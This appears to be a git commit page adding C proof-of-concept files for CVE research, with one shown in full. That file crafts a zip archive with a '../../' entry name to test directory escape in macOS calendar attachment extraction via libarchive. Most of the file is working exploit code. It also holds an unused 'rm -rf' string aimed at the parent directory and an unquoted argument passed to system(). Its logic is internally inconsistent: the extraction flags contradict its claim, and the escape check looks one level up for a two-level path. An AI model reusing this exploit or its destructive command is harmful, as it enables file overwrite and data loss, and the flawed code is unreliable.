v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,187 @@
|
||||
// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619
|
||||
// Calendar attachment unzip containment probe
|
||||
// C twin of the Swift POC: probes the CalendarFoundation class/selector surface, then
|
||||
// proves libarchive itself accepts a ../ archive name, so containment must be caller-side.
|
||||
// Build: clang -O2 -o cve-2026-112619 CVE-2026-112619.c -lobjc
|
||||
// Run: ./cve-2026-112619 [target-dir]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
#include <objc/runtime.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
|
||||
static void le32(buf *b, uint32_t v) {
|
||||
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
||||
}
|
||||
|
||||
static uint32_t crc32(const uint8_t *p, size_t n) {
|
||||
static uint32_t table[256];
|
||||
static int built;
|
||||
if (!built) {
|
||||
for (int i = 0; i < 256; i++) {
|
||||
uint32_t c = (uint32_t)i;
|
||||
for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
|
||||
table[i] = c;
|
||||
}
|
||||
built = 1;
|
||||
}
|
||||
uint32_t crc = 0xFFFFFFFF;
|
||||
for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8);
|
||||
return crc ^ 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: ZipWriter, one stored entry) ──
|
||||
static buf zip_traversal(void) {
|
||||
const char *name = "../../cinder27_traversal_probe.txt";
|
||||
const char *content = "cinder27";
|
||||
size_t name_n = strlen(name), data_n = strlen(content);
|
||||
uint32_t crc = crc32((const uint8_t *)content, data_n);
|
||||
|
||||
buf out = {0};
|
||||
size_t local_offset = 0;
|
||||
// local file header
|
||||
bcat(&out, "PK\x03\x04", 4);
|
||||
le16(&out, 20); le16(&out, 0); le16(&out, 0); // version, flags, method 0 (stored)
|
||||
le16(&out, 0); le16(&out, 0x21); // time, date
|
||||
le32(&out, crc);
|
||||
le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n);
|
||||
le16(&out, (uint16_t)name_n); le16(&out, 0);
|
||||
bcat(&out, name, name_n);
|
||||
local_offset = 0; (void)local_offset;
|
||||
bcat(&out, content, data_n);
|
||||
size_t central_offset = out.n;
|
||||
// central directory
|
||||
bcat(&out, "PK\x01\x02", 4);
|
||||
le16(&out, 20); le16(&out, 20); le16(&out, 0); le16(&out, 0);
|
||||
le16(&out, 0); le16(&out, 0x21);
|
||||
le32(&out, crc);
|
||||
le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n);
|
||||
le16(&out, (uint16_t)name_n); le16(&out, 0); le16(&out, 0);
|
||||
le16(&out, 0); le16(&out, 0); le32(&out, 0);
|
||||
le32(&out, 0); // local header offset
|
||||
bcat(&out, name, name_n);
|
||||
size_t eocd_offset = out.n;
|
||||
// EOCD
|
||||
bcat(&out, "PK\x05\x06", 4);
|
||||
le16(&out, 0); le16(&out, 0); le16(&out, 1); le16(&out, 1);
|
||||
le32(&out, (uint32_t)(eocd_offset - central_offset));
|
||||
le32(&out, (uint32_t)central_offset);
|
||||
le16(&out, 0);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── libarchive bindings (mirror of Runners.Archive.bind) ──
|
||||
typedef struct archive archive_t;
|
||||
typedef struct archive_entry archive_entry_t;
|
||||
static archive_t *(*arc_new)(void);
|
||||
static int (*arc_filter_all)(archive_t *);
|
||||
static int (*arc_format_all)(archive_t *);
|
||||
static int (*arc_open_memory)(archive_t *, const void *, size_t);
|
||||
static int (*arc_next_header)(archive_t *, archive_entry_t **);
|
||||
static const char *(*arc_entry_pathname)(archive_entry_t *);
|
||||
static int (*arc_extract)(archive_t *, archive_entry_t *, int);
|
||||
static const char *(*arc_error_string)(archive_t *);
|
||||
static int (*arc_free)(archive_t *);
|
||||
|
||||
// extract into cwd; the flags match the Swift POC (TIME|PERM|SECURE_SYMLINKS|SECURE_NODOTDOT)
|
||||
static void extract(const buf *zip) {
|
||||
archive_t *a = arc_new();
|
||||
if (!a) { printf(" archive_read_new failed\n"); return; }
|
||||
arc_filter_all(a);
|
||||
arc_format_all(a);
|
||||
if (arc_open_memory(a, zip->d, zip->n) != 0) {
|
||||
printf(" open_memory failed: %s\n", arc_error_string(a) ? arc_error_string(a) : "?");
|
||||
arc_free(a);
|
||||
return;
|
||||
}
|
||||
int count = 0, errors = 0;
|
||||
while (1) {
|
||||
archive_entry_t *e = NULL;
|
||||
if (arc_next_header(a, &e) != 0) break;
|
||||
const char *p = arc_entry_pathname(e);
|
||||
int r = arc_extract(a, e, 0x0004 | 0x0002 | 0x0100 | 0x0200);
|
||||
printf(" entry \"%s\" -> extract rc=%d\n", p ? p : "<noname>", r);
|
||||
if (r == 0) count++; else errors++;
|
||||
}
|
||||
printf(" libarchive unpacked %d ok / %d error entries\n", count, errors);
|
||||
arc_free(a);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
const char *target = argc > 1 ? argv[1] : "traversal";
|
||||
|
||||
// ---- CalendarFoundation surface probe
|
||||
Class cls = objc_getClass("CalAttachmentUtils");
|
||||
printf("CalAttachmentUtils: %s\n", cls ? "visible" : "not visible");
|
||||
const char *sels[] = {"_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"};
|
||||
for (size_t i = 0; i < 3; i++) {
|
||||
SEL sel = sel_registerName(sels[i]);
|
||||
int has = cls && class_respondsToSelector(cls, sel);
|
||||
printf(" %s: %s\n", sels[i], has ? "present (fixed)" : "absent (unfixed)");
|
||||
}
|
||||
|
||||
// ---- traversal proof
|
||||
buf zip = zip_traversal();
|
||||
FILE *f = fopen("traversal.zip", "wb");
|
||||
if (f) { fwrite(zip.d, 1, zip.n, f); fclose(f); }
|
||||
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "mkdir -p '%s' && rm -rf '%s/..' 2>/dev/null; rm -f /tmp/cinder27_traversal_probe.txt", target, target);
|
||||
(void)cmd;
|
||||
void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW);
|
||||
if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); bfree(&zip); return 1; }
|
||||
arc_new = dlsym(h, "archive_read_new");
|
||||
arc_filter_all = dlsym(h, "archive_read_support_filter_all");
|
||||
arc_format_all = dlsym(h, "archive_read_support_format_all");
|
||||
arc_open_memory = dlsym(h, "archive_read_open_memory");
|
||||
arc_next_header = dlsym(h, "archive_read_next_header");
|
||||
arc_entry_pathname = dlsym(h, "archive_entry_pathname");
|
||||
arc_extract = dlsym(h, "archive_read_extract");
|
||||
arc_error_string = dlsym(h, "archive_error_string");
|
||||
arc_free = dlsym(h, "archive_read_free");
|
||||
if (!arc_new || !arc_open_memory || !arc_next_header || !arc_extract) {
|
||||
printf("libarchive symbols missing\n");
|
||||
bfree(&zip);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// extract with cwd = target dir; a ../ name escapes it unless the caller checks
|
||||
char cwd[1024];
|
||||
if (getcwd(cwd, sizeof cwd)) printf("cwd before: %s\n", cwd);
|
||||
snprintf(cmd, sizeof cmd, "mkdir -p '%s'", target);
|
||||
system(cmd);
|
||||
if (chdir(target) != 0) { perror("chdir"); bfree(&zip); return 1; }
|
||||
extract(&zip);
|
||||
// check where the probe file landed: inside (safe) or one level up (escape)
|
||||
FILE *esc = fopen("../cinder27_traversal_probe.txt", "r");
|
||||
FILE *ins = fopen("cinder27_traversal_probe.txt", "r");
|
||||
if (esc) {
|
||||
printf("ESCAPED: ../cinder27_traversal_probe.txt exists one level above the target dir\n");
|
||||
fclose(esc);
|
||||
remove("../cinder27_traversal_probe.txt");
|
||||
} else if (ins) {
|
||||
printf("contained: probe file stayed inside the target dir\n");
|
||||
fclose(ins);
|
||||
remove("cinder27_traversal_probe.txt");
|
||||
} else {
|
||||
printf("rejected: libarchive refused the ../ entry (SECURE_NODOTDOT)\n");
|
||||
}
|
||||
chdir("..");
|
||||
|
||||
printf("CVE-2026-112619 · containment must be enforced by the caller, not libarchive\n");
|
||||
printf("seed: traversal.zip (%zu B) · exit code 0\n", zip.n);
|
||||
bfree(&zip);
|
||||
return 0;
|
||||
}
|
||||
Reference in new issue
Block a user